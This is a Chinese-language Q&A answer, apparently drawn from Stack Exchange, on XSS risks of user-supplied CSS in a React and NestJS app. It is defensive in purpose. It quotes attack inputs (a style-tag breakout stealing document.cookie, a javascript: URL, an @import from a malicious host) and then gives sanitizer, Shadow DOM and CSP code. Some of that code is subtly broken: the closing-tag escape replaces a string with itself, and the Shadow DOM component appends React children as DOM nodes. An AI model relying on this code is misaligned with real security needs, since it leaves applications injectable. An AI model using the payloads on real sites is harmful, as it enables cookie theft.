用户自定义CSS注入前端的XSS风险排查及防护方案咨询
用户自定义CSS注入的XSS风险与防护方案
存在明确的XSS风险
是的,这个场景绝对存在XSS注入风险,常见攻击路径包括:
- 闭合style标签插入脚本:比如用户输入
</style><script>alert(document.cookie)</script>,若直接注入页面会跳出style标签执行恶意脚本。 - 利用CSS特性嵌入JS:尽管现代浏览器大多禁用了
expression()这类旧特性,但仍有潜在风险,比如url(javascript:alert(1))、通过CSS变量结合页面现有JS逻辑触发执行,或利用浏览器漏洞执行代码。 - 滥用
@import引入恶意资源:比如@import url('https://malicious.com/steal-data.css'),该资源可能包含进一步攻击代码。
针对React+NestJS栈的有效防护方案
后端(NestJS):严格过滤与验证
- 基于AST的CSS解析过滤
不要依赖字符串匹配或通用HTML sanitizer,用专业CSS解析器(如postcss)将用户输入解析为抽象语法树(AST),遍历节点过滤危险内容:
- 禁止所有包含
javascript:的URL值(检查url()函数内的内容) - 移除
expression()、behavior()等风险特性 - 过滤
@import规则,或仅允许引入信任域名的资源 - 对可能闭合style标签的字符序列(如
</style>)进行实体转义(</style>)
示例代码:
import postcss from 'postcss'; async function sanitizeUserCSS(rawCSS: string): Promise<string> { const result = await postcss([ { postcssPlugin: 'css-sanitizer', Declaration(decl) { // 过滤含javascript的url值 if (decl.value.includes('url(') && decl.value.includes('javascript:')) { decl.remove(); } // 移除expression等风险属性值 if (decl.value.includes('expression(')) { decl.remove(); } }, AtRule(atRule) { // 移除@import规则 if (atRule.name === 'import') { atRule.remove(); } } } ]).process(rawCSS); // 转义可能闭合标签的字符 return result.css.replace(/<\/style>/gi, '</style>'); }
- 存储前的转义处理
对用户输入的CSS进行HTML实体转义,比如将<转为<、>转为>,确保存入数据库的内容不会被当作HTML标签解析。
前端(React):安全注入与隔离
- 用textContent而非innerHTML注入CSS
React中禁止使用dangerouslySetInnerHTML插入style标签,通过创建style元素并设置textContent注入,textContent会将所有内容视为纯文本,不会解析HTML或JS:
import { useEffect } from 'react'; function UserCSSInjector({ customCSS }) { useEffect(() => { if (!customCSS) return; const styleEl = document.createElement('style'); styleEl.textContent = customCSS; document.head.appendChild(styleEl); return () => document.head.removeChild(styleEl); }, [customCSS]); return null; }
- 用Shadow DOM隔离用户CSS
将需要应用用户CSS的组件包裹在Shadow DOM中,既防止用户CSS污染全局样式,也能进一步隔离潜在攻击代码:
import { useRef, useEffect } from 'react'; function ShadowWrappedComponent({ customCSS, children }) { const ref = useRef(null); useEffect(() => { if (!ref.current || !customCSS) return; const shadow = ref.current.attachShadow({ mode: 'open' }); const styleEl = document.createElement('style'); styleEl.textContent = customCSS; shadow.appendChild(styleEl); const contentWrapper = document.createElement('div'); contentWrapper.append(...children); shadow.appendChild(contentWrapper); }, [customCSS, children]); return <div ref={ref}></div>; }
- 配置内容安全策略(CSP)
在NestJS中设置CSP响应头,严格限制脚本和样式来源:
// NestJS main.ts import { NestFactory } from '@nestjs/core'; import { AppModule } from './app.module'; async function bootstrap() { const app = await NestFactory.create(AppModule); app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none'" ); next(); }); await app.listen(3000); } bootstrap();
这里style-src允许内联样式是为了兼容用户自定义CSS,script-src仅允许自有域名脚本,即使出现XSS尝试也无法执行恶意代码。
综合防护要点
- 前后端双重校验:后端过滤危险内容,前端安全注入,不依赖单一防线
- 绝对避免使用
dangerouslySetInnerHTML处理用户提供的任何内容 - 定期更新postcss等依赖工具,修复已知安全漏洞
- 测试极端场景:模拟用户输入各类攻击代码,验证防护有效性
内容的提问来源于stack exchange,提问作者Johnson Cherian
相关产品推荐
相关产品推荐

